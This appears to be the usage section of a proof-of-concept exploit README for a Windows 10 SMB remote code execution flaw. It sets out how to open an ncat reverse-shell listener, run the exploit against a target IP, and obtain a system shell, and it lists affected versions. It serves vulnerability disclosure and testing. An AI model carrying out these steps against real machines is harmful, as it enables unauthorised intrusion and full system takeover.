Usage

• Make sure Python and ncat are installed.

• Run calc_target_offsets.bat on the target computer, and adjust the offsets at the top of the SMBleedingGhost.py file according to the script output (also see the note below).

• Run ncat with the following command line arguments:

  ncat -lvp <port>

  Where <port> is the port number ncat will be listening on.

• Run SMBleedingGhost.py with the following command line arguments:

  SMBleedingGhost.py <target_ip> <reverse_shell_ip> <reverse_shell_port>

  Where <target_ip> is the IP address of the target, vulnerable computer. <reverse_shell_ip> and <reverse_shell_port> are the IP address and the port number ncat is listening on.

• If all goes well, ncat will display a shell that provides system access to the target computer.

Note: You might be wondering why it's necessary to run the calc_target_offsets.bat script on the target computer, and doesn't it defeat the whole point of the remote code execution being remote. These offsets are not random, and are the same on all Windows instances of the same Windows version. One could make the attack more universal by detecting the target Windows version and adjusting the offsets automatically, or by not relying on them altogether, but it's only a POC and we did what was simpler. We also see it as a good thing that the POC is not universal, and is not convenient for uses other than testing and education.

Target Environment

Windows 10 Versions 1903 and 1909 are affected. Unpatched Windows 10 1903 versions aren't supported due to a null dereference bug in Windows (fixed in KB4512941).

Due to the nature of the exploitation, the POC works best for targets running on a computer (or a VM) with a single logical processor. Targets with more than one logical processor running in VirtualBox should be supported as well, but the POC is less reliable in this case. Other targets might not be supported. For details, refer to our technical writeup below.